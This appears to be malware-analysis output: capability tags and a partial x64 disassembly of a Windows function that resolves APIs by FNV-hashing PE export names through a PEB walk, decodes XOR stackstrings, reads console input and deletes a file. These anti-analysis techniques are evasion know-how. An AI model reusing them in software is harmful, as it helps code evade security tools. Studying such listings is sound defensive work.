Function at 0x1400206f0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Delete file
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x940]
sub rsp, 0xa40
mov rax, qword [0x14004b040]
xor rax, rsp
mov qword [rbp + 0x8f0], rax
call fcn.14001afa0
test eax, eax
jne 0x140020834
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400207b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400207b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9a3a3bc9
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400207b2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140020790
cmp r8d, 0x12ab9b98
je 0x1400207bc
test r9d, r9d
jne 0x140020770
mov rax, qword [rax]
jmp 0x140020740
mov ecx, dword [rdi + 0x24]
movdqa xmm0, xmmword [0x140044600]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xd0]
add rbx, r10
mov dword [rbp + 0xe0], 0x100321a
movdqu xmmword [rbp + 0xd0], xmm0
call fcn.14000fb30
movdqa xmm0, xmmword [0x140044620]
lea rcx, [rbp + 0x58]
movdqu xmmword [rbp + 0x58], xmm0
mov dword [rbp + 0x68], 0xd15012d
mov dword [rbp + 0x6c], 0x1004a11
call fcn.1400239b0
xor r9d, r9d
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x58]
xor ecx, ecx
call rbx
call fcn.140011750
call fcn.140022860
call fcn.140023060
lea rdx, [0x140020510]
lea rcx, [rbp + 0x458]
call fcn.140024470
lea rcx, [rbp + 0x458]
call fcn.1400115d0
lea rdx, [0x14001ef70]
lea rcx, [rbp + 0x468]
call fcn.140024470
lea rcx, [rbp + 0x468]
call fcn.1400115d0
call fcn.140012090
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140020917
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140020917
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x92f23dca
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140020912
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400208f0
cmp r8d, 0x3172ff8a
je 0x14002091c
test r9d, r9d
jne 0x1400208d0
mov rax, qword [rax]
jmp 0x1400208a0
mov ecx, dword [rdi + 0x24]
lea r8, [0x14001eff0]
add rcx, r10
xor r14d, r14d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
xor ecx, ecx
call rax
call fcn.14001c550
test eax, eax
jne 0x14002210e
call fcn.14001b710
test eax, eax
jne 0x14002210e
call fcn.14001b090
test eax, eax
jne 0x14002210e
mov qword [rsp + 0xa60], rsi
xor sil, sil
cmp dword [0x1402c3570], 1
movaps xmmword [rsp + 0xa30], xmm6
movaps xmmword [rsp + 0xa20], xmm7
movaps xmmword [rsp + 0xa10], xmm8
movaps xmmword [rsp + 0xa00], xmm9
jle 0x1400209ba
mov rax, qword [0x1402c33f8]
mov rdx, qword [rax + 8]
jmp 0x1400209c1
lea rdx, [0x140043aae]
lea rcx, [rbp + 0x4d8]
call fcn.140006ef0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140020a57
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140020a57
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5406b5a1
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140020a52
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140020a30
cmp r8d, 0x86d38be7
je 0x140020a5c
test r9d, r9d
jne 0x140020a10
mov rax, qword [rax]
jmp 0x1400209e0
mov ecx, dword [rdi + 0x24]
movdqa xmm6, xmmword [0x140044840]
add rcx, r10
movdqa xmm7, xmmword [0x140044660]
movdqa xmm8, xmmword [0x140044780]
movdqa xmm9, xmmword [0x1400448a0]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov qword [rsp + 0xa68], r12
mov qword [rsp + 0xa70], r15
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x2e0]
add rbx, r10
movdqu xmmword [rbp + 0x2e0], xmm6
movdqu xmmword [rbp + 0x2f0], xmm7
movdqu xmmword [rbp + 0x300], xmm8
movdqu xmmword [rbp + 0x310], xmm9
mov word [rbp + 0x320], 0x100
call fcn.14000fc70
lea r8, [rbp + 0x2e0]
xor edx, edx
mov ecx, 0x1f0001
call rbx
test rax, rax
jne 0x140021531
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140020b87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140020b87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x842feb95
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140020b82
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140020b60
cmp r8d, 0x428b687
je 0x140020b8c
test r9d, r9d
jne 0x140020b40
mov rax, qword [rax]
jmp 0x140020b10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x290]
add rbx, r10
movdqu xmmword [rbp + 0x290], xmm6
movdqu xmmword [rbp + 0x2a0], xmm7
movdqu xmmword [rbp + 0x2b0], xmm8
movdqu xmmword [rbp + 0x2c0], xmm9
mov word [rbp + 0x2d0], 0x100
call fcn.14000fc70
lea r8, [rbp + 0x290]
xor edx, edx
xor ecx, ecx
call rbx
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x78], 0x33223e26
mov dword [rbp - 0x74], 0x247b3134
mov word [rbp - 0x70], 0x22
mov byte [rbp - 0x6e], 1
call fcn.140010660
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x3f0]
call fcn.140006ef0
mov r8, rax
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x450]
call fcn.14000e4d0
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x450]
call fcn.14000caf0
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x450]
call fcn.14000dab0
lea r8, [0x140043e68]
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x3b0]
call fcn.140010c30
mov rdx, rax
lea r8, [rbp + 0x478]
lea rcx, [rbp + 0x4b8]
call fcn.140010ca0
lea rcx, [rbp + 0x3b0]
call fcn.140006e90
mov ebx, dword [rbp + 0x4c8]
lea rcx, [rbp + 0x4b8]
call fcn.140006e80
mov r8d, ebx
lea rcx, [rbp + 0x3d0]
mov rdx, rax
call fcn.14000afc0
mov rdx, rax
lea rcx, [rbp + 0x4b8]
call fcn.140010840
lea rcx, [rbp + 0x3d0]
call fcn.140006e90
movdqa xmm0, xmmword [0x140044710]
lea rcx, [rbp + 0xa0]
movdqa xmm1, xmmword [0x140044610]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0xc0], 0x1b050006
movdqu xmmword [rbp + 0xb0], xmm1
mov dword [rbp + 0xc4], 0x585b1a1c
mov dword [rbp + 0xc8], 0x70735859
mov word [rbp + 0xcc], 0x100
call fcn.140010490
lea rcx, [rbp + 0x478]
call fcn.140006e80
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140011490
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x38], 0x3c302060
mov dword [rsp + 0x3c], 0x7a3836
mov byte [rsp + 0x40], 1
call fcn.140010550
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x4f8]
call fcn.140006ef0
movdqa xmm0, xmmword [0x1400447c0]
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x228]
mov word [rbp + 0x238], 0x100
movdqu xmmword [rbp + 0x228], xmm0
call fcn.140023860
mov rbx, qword [rbp + 0x278]
lea rcx, [rbp + 0x268]
call fcn.140006e80
mov r8, rbx
lea rcx, [rbp + 0x4f8]
mov rdx, rax
call fcn.140010720
lea rcx, [rbp + 0x268]
call fcn.140006e90
lea r8, [rbp + 0x4b8]
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0x518]
call fcn.140010d00
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x410]
call fcn.1400108d0
mov r8, rax
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x450]
call fcn.14000b760
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x58], 0x3d23222a
mov dword [rsp + 0x5c], 0x67756e21
mov word [rsp + 0x60], 0x100
call fcn.14000fc40
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x498]
call fcn.140011040
test al, al
je 0x140020e82
movdqa xmm0, xmmword [0x140044670]
lea rcx, [rbp + 0x240]
movdqa xmm1, xmmword [0x140044580]
movdqu xmmword [rbp + 0x240], xmm0
mov byte [rbp + 0x260], 1
movdqu xmmword [rbp + 0x250], xmm1
call fcn.140023780
lea rcx, [rbp + 0x240]
jmp 0x140021217
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x68], 0x3d23222a
mov dword [rsp + 0x6c], 0x64756e21
mov word [rsp + 0x70], 0x100
call fcn.14000fc40
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x498]
call fcn.140011040
test al, al
je 0x140021011
movdqa xmm0, xmmword [0x140044700]
lea rcx, [rbp + 0x100]
movdqa xmm1, xmmword [0x1400445a0]
movdqu xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x120], 0x5315151d
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x124], 0x7c494e53
mov word [rbp + 0x128], 0x100
call fcn.1400236d0
lea rcx, [rbp + 0x100]
call fcn.140011490
xor edx, edx
lea rcx, [rbp + 0x580]
mov r8d, 0x108
mov sil, 1
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x580]
call fcn.140023a20
lea rdx, [rbp + 0x350]
mov dword [rbp - 8], 0x36382727
lea rcx, [rbp - 8]
mov dword [rbp - 4], 0x222d207d
mov word [rbp], 0x100
call fcn.140023810
lea rcx, [rbp + 0x350]
call fcn.140006e80
mov r9d, 0x40
lea rcx, [rbp + 0x580]
mov r8d, 2
mov rdx, rax
call fcn.140023d10
lea rcx, [rbp + 0x350]
call fcn.140006e90
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x58], 0x20243f16
mov dword [rbp - 0x54], 0x1f021c73
mov dword [rbp - 0x50], 0x796213
mov byte [rbp - 0x4c], sil
call fcn.14000fc00
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x580]
call fcn.14000a640
lea rcx, [rbp + 0x478]
call fcn.140006e80
mov rdx, rax
lea rcx, [rbp + 0x580]
call fcn.14000a640
mov rcx, rax
mov dl, 0xa
call fcn.140023fe0
lea rcx, [rbp + 0x580]
call fcn.140006ac0
lea rcx, [rbp + 0x628]
call fcn.140006b00
lea rcx, [rbp + 0x628]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14002121c
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x3d23222a
mov dword [rsp + 0x7c], 0x65756e21
mov word [rbp - 0x80], 0x100
call fcn.14000fc40
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x498]
call fcn.140011040
test al, al
je 0x140021196
movdqa xmm0, xmmword [0x1400446f0]
lea rcx, [rbp + 0x170]
movdqa xmm1, xmmword [0x140044570]
movdqu xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x190], 0x4851510b
movdqu xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x194], 0x1007e4f
call fcn.140023620
lea rcx, [rbp + 0x170]
call fcn.140011490
xor edx, edx
lea rcx, [rbp + 0x690]
mov r8d, 0x108
mov sil, 1
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x690]
call fcn.140023a20
lea rdx, [rbp + 0x370]
mov dword [rbp - 0x18], 0x36382727
lea rcx, [rbp - 0x18]
mov dword [rbp - 0x14], 0x222d207d
mov word [rbp - 0x10], 0x100
call fcn.140023810
lea rcx, [rbp + 0x370]
call fcn.140006e80
mov r9d, 0x40
lea rcx, [rbp + 0x690]
mov r8d, 2
mov rdx, rax
call fcn.140023d10
lea rcx, [rbp + 0x370]
call fcn.140006e90
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x48], 0x20243f16
mov dword [rbp - 0x44], 0x1f021c73
mov dword [rbp - 0x40], 0x796213
mov byte [rbp - 0x3c], sil
call fcn.14000fc00
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x690]
call fcn.14000a640
lea rcx, [rbp + 0x478]
call fcn.140006e80
mov rdx, rax
lea rcx, [rbp + 0x690]
call fcn.14000a640
mov rcx, rax
mov dl, 0xa
call fcn.140023fe0
lea rcx, [rbp + 0x690]
call fcn.140006ac0
lea rcx, [rbp + 0x738]
call fcn.140006b00
lea rcx, [rbp + 0x738]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14002121c
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x48], 0x3132253c
mov dword [rsp + 0x4c], 0x262736
mov byte [rsp + 0x50], 1
call fcn.140010550
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x498]
call fcn.140011040
test al, al
je 0x14002121c
movdqa xmm0, xmmword [0x140044670]
lea rcx, [rbp + 0x1c0]
movdqa xmm1, xmmword [0x1400445c0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov dword [rbp + 0x1e0], 0x4c4b504e
movdqu xmmword [rbp + 0x1d0], xmm1
mov word [rbp + 0x1e4], 0x79
mov byte [rbp + 0x1e6], 1
call fcn.140023570
lea rcx, [rbp + 0x1c0]
call fcn.140011490
lea rcx, [rbp + 0x450]
call fcn.14000f160
test al, al
je 0x1400212dd
test sil, sil
jne 0x1400212dd
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x450]
call fcn.14000e240
mov rcx, rax
call fcn.140006e80
movdqa xmm0, xmmword [0x140044680]
lea rcx, [rbp + 0x198]
movdqa xmm1, xmmword [0x1400445f0]
mov rbx, rax
movdqu xmmword [rbp + 0x198], xmm0
mov dword [rbp + 0x1b8], 0x4c4b501c
movdqu xmmword [rbp + 0x1a8], xmm1
mov word [rbp + 0x1bc], 0x79
mov byte [rbp + 0x1be], 1
call fcn.140023570
mov rdx, rbx
lea rcx, [rbp + 0x198]
call fcn.140011490
lea rcx, [rbp + 0x390]
call fcn.140006e90
lea rcx, [rbp + 0x450]
call fcn.14000f3d0
test al, al
je 0x14002140d
lea rcx, [rbp + 0x450]
call fcn.14000f6d0
jmp 0x14002140d
movdqa xmm0, xmmword [0x1400446b0]
lea rcx, [rbp + 0x70]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 0x56415a2d
mov word [rbp + 0x84], 0x69
mov byte [rbp + 0x86], 1
call fcn.140023510
lea rcx, [rbp + 0x70]
call fcn.140011490
xor edx, edx
lea rcx, [rbp + 0x7a0]
mov r8d, 0x108
mov sil, 1
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x7a0]
call fcn.140023a20
lea rdx, [rbp + 0x330]
mov dword [rbp + 8], 0x36382727
lea rcx, [rbp + 8]
mov dword [rbp + 0xc], 0x222d207d
mov word [rbp + 0x10], 0x100
call fcn.140023810
lea rcx, [rbp + 0x330]
call fcn.140006e80
mov r9d, 0x40
lea rcx, [rbp + 0x7a0]
mov r8d, 2
mov rdx, rax
call fcn.140023d10
lea rcx, [rbp + 0x330]
call fcn.140006e90
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x68], 0x20243f16
mov dword [rbp - 0x64], 0x1f021c73
mov dword [rbp - 0x60], 0x1006213
call fcn.1400234d0
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x7a0]
call fcn.14000a640
lea rcx, [rbp + 0x478]
call fcn.140006e80
mov rdx, rax
lea rcx, [rbp + 0x7a0]
call fcn.14000a640
mov rcx, rax
mov dl, 0xa
call fcn.140023fe0
lea rcx, [rbp + 0x7a0]
call fcn.140006ac0
lea rcx, [rbp + 0x848]
call fcn.140006b00
lea rcx, [rbp + 0x848]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x498]
call fcn.140006e90
lea rcx, [rbp + 0x518]
call fcn.140006e90
lea rcx, [rbp + 0x4f8]
call fcn.140006e90
lea rcx, [rbp + 0x4b8]
call fcn.140006e90
lea rcx, [rbp + 0x478]
call fcn.140006e90
lea rcx, [rbp + 0x538]
call fcn.140006e90
lea rcx, [rbp + 0x558]
call fcn.140006e90
test sil, sil
je 0x1400215bd
mov rax, qword [0x1402c38d8]
test rax, rax
jne 0x14002152a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021507
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021507
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5f5ce4b4
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021502
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400214e0
cmp r8d, 0x5f538db7
je 0x14002150c
test r9d, r9d
jne 0x1400214c0
mov rax, qword [rax]
jmp 0x140021490
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1402c38d8], rax
mov ecx, 0x9c4
call rax
mov eax, r14d
mov r14d, eax
lea rcx, [rbp + 0x4d8]
call fcn.140006e90
cmp dword [rbp + 0x470], 0
movaps xmm9, xmmword [rsp + 0xa00]
movaps xmm8, xmmword [rsp + 0xa10]
movaps xmm7, xmmword [rsp + 0xa20]
movaps xmm6, xmmword [rsp + 0xa30]
mov r15, qword [rsp + 0xa70]
mov r12, qword [rsp + 0xa68]
mov rsi, qword [rsp + 0xa60]
jne 0x140022124
cmp dword [rbp + 0x460], 0
jne 0x140022124
mov eax, r14d
mov rcx, qword [rbp + 0x8f0]
xor rcx, rsp
call fcn.1400275b0
mov rbx, qword [rsp + 0xa78]
add rsp, 0xa40
pop r14
pop rdi
pop rbp
ret
mov rax, qword [0x1402c3850]
test rax, rax
jne 0x14002167a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021657
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021657
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x91b1391c
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021652
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021630
cmp r8d, 0xfdb73d5f
je 0x14002165c
test r9d, r9d
jne 0x140021610
mov rax, qword [rax]
jmp 0x1400215e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1402c3850], rax
mov ecx, 0x5dc
call rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140022130
movabs rax, 0x38d0ad8c1d54e2f1
movabs r15, 0x8ec22a2599512033
mov qword [rsp + 0x30], rax
movabs r12, 0x38d0ad8c1d278e92
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x130], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x138], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x8d0], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x130]
mov qword [rbp + 0x8d8], rax
xorps xmm0, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0x130], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400217a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400217a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3cfae4de
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400217a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021780
cmp r8d, 0xfbb0913f
je 0x1400217ac
test r9d, r9d
jne 0x140021760
mov rax, qword [rax]
jmp 0x140021730
mov ecx, dword [rdi + 0x24]
mov edx, dword [rdi + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
lea rcx, [rbp + 0x130]
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
lea rdx, str.______n________________________________.________________________________________________________n_______________________________________________________________________________________n______________________________________________________________________________n____________________________________________________________________________n________________________________________________________________________________n________________________________________________________________________________n_____n_n
lea rcx, [rbp + 0x430]
call fcn.140006ef0
mov rcx, rax
call fcn.1400205c0
call fcn.14001fb90
xor edx, edx
mov ecx, 1
call fcn.14001fe80
lea rcx, [0x140043cc8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp qword [rbp + 0x4e8], r14
jne 0x14002189c
movdqa xmm0, xmmword [0x140044740]
lea rcx, [rbp + 0x200]
movdqa xmm1, xmmword [0x140044590]
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x220], 0x514a0a
movdqu xmmword [rbp + 0x210], xmm1
mov byte [rbp + 0x224], 1
call fcn.140023430
lea rcx, [rbp + 0x200]
call fcn.140011490
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x1400241b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov dl, 0xa
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
lea rdx, [rbp + 0x4d8]
mov rcx, rbx
movzx r8d, al
call fcn.140024500
lea rcx, [rbp + 0x4d8]
call fcn.140006e80
movdqa xmm0, xmmword [0x140044870]
lea rcx, [rbp + 0x88]
movdqu xmmword [rbp + 0x88], xmm0
mov rbx, rax
mov dword [rbp + 0x98], 0x6846137a
mov word [rbp + 0x9c], 0x100
call fcn.1400233d0
mov rdx, rbx
lea rcx, [rbp + 0x88]
call fcn.140011490
lea rcx, [rbp + 0x4d8]
call fcn.140022d80
mov esi, eax
test eax, eax
jne 0x140021a56
movdqa xmm0, xmmword [0x1400446a0]
lea rcx, [rbp + 0xe8]
movdqu xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0xf8], 0x1006a3b
call fcn.14000fb30
lea rcx, [rbp + 0xe8]
call fcn.140011490
movabs rax, 0x38d0ade96e52efe2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x150], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x8c0], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x150]
mov qword [rbp + 0x8c8], rax
xorps xmm0, xmmword [rbp + 0x8c0]
movdqa xmmword [rbp + 0x150], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021a27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021a27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7a0994c1
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021a22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021a00
cmp r8d, 0xdbf8c6a0
je 0x140021a2c
test r9d, r9d
jne 0x1400219e0
mov rax, qword [rax]
jmp 0x1400219b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x150]
add rax, r10
call rax
mov eax, 0xffffffff
jmp 0x140021534
movdqa xmm0, xmmword [0x1400447a0]
lea rcx, [rbp + 0x1e8]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x1f8], 0x100
call fcn.140010440
mov edx, esi
lea rcx, [rbp + 0x1e8]
call fcn.140011490
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021b17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021b17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5850c50f
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021b12
nop
movsx ecx, cl
